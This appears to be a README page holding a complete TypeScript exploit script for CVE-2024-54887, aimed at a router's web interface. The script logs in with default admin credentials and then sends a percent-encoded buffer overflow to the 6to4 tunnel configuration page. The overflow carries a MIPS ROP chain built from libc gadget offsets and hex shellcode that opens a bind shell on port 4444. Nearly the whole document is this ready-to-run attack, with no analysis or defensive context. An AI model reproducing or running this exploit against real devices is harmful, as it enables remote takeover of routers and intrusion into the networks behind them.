README.md
Rendering markdown...
import {createHash} from "node:crypto";
type CliArgs = {
ip: string;
username: string;
password: string;
};
function printUsage(): void {
console.log(`Usage:
ts-node cve-2024-54887.ts -i <ip> [-u <username>] [-p <password>]
ts-node cve-2024-54887.ts --ip <ip> [--username <username>] [--password <password>]
Defaults:
username: admin
password: admin
`);
}
function parseArgs(argv: string[]): CliArgs | null {
let ip = "";
let username = "admin";
let password = "admin";
for (let i = 0; i < argv.length; i += 1) {
const arg = argv[i];
const next = argv[i + 1];
if (arg === "-i" || arg === "--ip") {
ip = next ?? "";
i += 1;
continue;
}
if (arg === "-u" || arg === "--username") {
username = next ?? "";
i += 1;
continue;
}
if (arg === "-p" || arg === "--password") {
password = next ?? "";
i += 1;
continue;
}
if (arg === "-h" || arg === "--help") {
return null;
}
}
if (!ip) {
return null;
}
return {ip, username, password};
}
function percentEncodeBytes(buffer: Buffer): string {
return Array.from(buffer, (byte) => `%${byte.toString(16).padStart(2, "0")}`).join("");
}
function packUint32BE(value: number): Buffer {
const buffer = Buffer.alloc(4);
buffer.writeUInt32BE(value >>> 0);
return buffer;
}
function extractSessionToken(loginHtml: string): string {
const match = loginHtml.match(/top\.location\.href='\/([^/]+)\/userRpm\//);
if (!match?.[1]) {
throw new Error("Unable to extract authenticated session path from login response.");
}
return match[1];
}
async function login(ip: string, username: string, password: string): Promise<{ sessionUrl: string; auth: string }> {
const passwordHash = createHash("md5").update(password, "utf8").digest("hex");
const auth = Buffer.from(`${username}:${passwordHash}`, "utf8").toString("base64");
const url = `http://${ip}/userRpm/LoginRpm.htm?Save=Save`;
console.log(`[+] Sending login request to: ${url}`);
const response = await fetch(url, {
method: "GET",
headers: {
Cookie: `Authorization=Basic%20${encodeURIComponent(auth)}`,
Referer: `http://${ip}/`,
},
});
const body = await response.text();
const randomUrl = extractSessionToken(body);
const sessionUrl = `http://${ip}/${randomUrl}/userRpm/`;
console.log(`[+] Authenticated successfully! Session URL: ${sessionUrl}`);
return {sessionUrl, auth};
}
async function exploit(sessionUrl: string, auth: string): Promise<void> {
console.log(`[+] Sending exploit to: ${sessionUrl}Wan6to4TunnelCfgRpm.htm`);
const libcBase = 0x2aae2000;
const shellcode = Buffer.from(
"240ffffa01e0782725e4fffd25e5fffd25e6fffb240210570101010c245010102604eff025e8fffda7a8ffec2408115ca7a8ffee25e8fffba7a8fff025e8fffba7a8fff227a5ffec240a212139462137240210490101010c2604eff025e5fffd2402104e0101010c240efffa01c070272604eff025c5fffb25c6fffb25c7fffb240210480101010c24511010240dfffa01a068272624eff025a5fffb24020fdf0101010c2624eff025a5fffc24020fdf0101010c0220202525a5fffd24020fdf0101010c240cfffa018060273c082f622508696eafa8ffec3c082f7325086868afa8fff0a3a0fff327a4ffecafa4fff8afa0fffc27a5fff82586fffb24020fab0101010c",
"hex",
);
const nop = Buffer.from("2770c001", "hex");
const sleep = packUint32BE(libcBase + 0x53ca0);
const gadget1 = packUint32BE(libcBase + 0x3680c);
const gadget2 = packUint32BE(libcBase + 0x384fc);
const gadget3 = packUint32BE(libcBase + 0x2459c);
const gadget4 = packUint32BE(libcBase + 0x154d8);
let payload = "A".repeat(596);
payload += percentEncodeBytes(nop);
payload += percentEncodeBytes(gadget4);
payload += percentEncodeBytes(nop);
payload += percentEncodeBytes(sleep);
payload += percentEncodeBytes(gadget3);
payload += percentEncodeBytes(gadget2);
payload += percentEncodeBytes(nop).repeat(3);
payload += percentEncodeBytes(gadget1);
payload += "B".repeat(40);
payload += percentEncodeBytes(shellcode);
const exploitUrl =
`${sessionUrl}Wan6to4TunnelCfgRpm.htm?ipv6Enable=on&wantype=5&enableTunnel=on&mtu=1480&manual=2&dnsserver1=${payload}` +
"&dnsserver2=2001%3A4860%3A4860%3A%3A8888&ipAssignType=0&ipStart=1000&ipEnd=2000&time=86400&ipPrefixType=0&staticPrefix=&staticPrefixLength=64&Save=Save";
const controller = new AbortController();
const timeout = setTimeout(() => controller.abort(), 1000);
try {
await fetch(exploitUrl, {
method: "GET",
headers: {
Cookie: `Authorization=Basic%20${encodeURIComponent(auth)}`,
Referer: `${sessionUrl}Wan6to4TunnelCfgRpm.htm`,
},
signal: controller.signal,
});
} catch {
} finally {
clearTimeout(timeout);
}
}
async function runSpinner(seconds: number): Promise<void> {
const chars = ["-", "/", "|", "\\"];
let index = 0;
const endAt = Date.now() + seconds * 1000;
while (Date.now() < endAt) {
process.stdout.write(chars[index % chars.length]);
process.stdout.write("\b");
index += 1;
await new Promise((resolve) => setTimeout(resolve, 100));
}
}
async function main(): Promise<void> {
if (process.argv.includes("-h") || process.argv.includes("--help")) {
printUsage();
return;
}
const args = parseArgs(process.argv.slice(2));
if (!args) {
printUsage();
process.exitCode = 1;
return;
}
const {sessionUrl, auth} = await login(args.ip, args.username, args.password);
await exploit(sessionUrl, auth);
console.log("[+] Exploit sent! Giving shellcode time to execute...");
await runSpinner(8);
console.log("[+] Done! Check for a bind shell on port 4444");
}
main().catch((error: unknown) => {
const message = error instanceof Error ? error.message : String(error);
console.error(`Error: ${message}`);
process.exitCode = 2;
});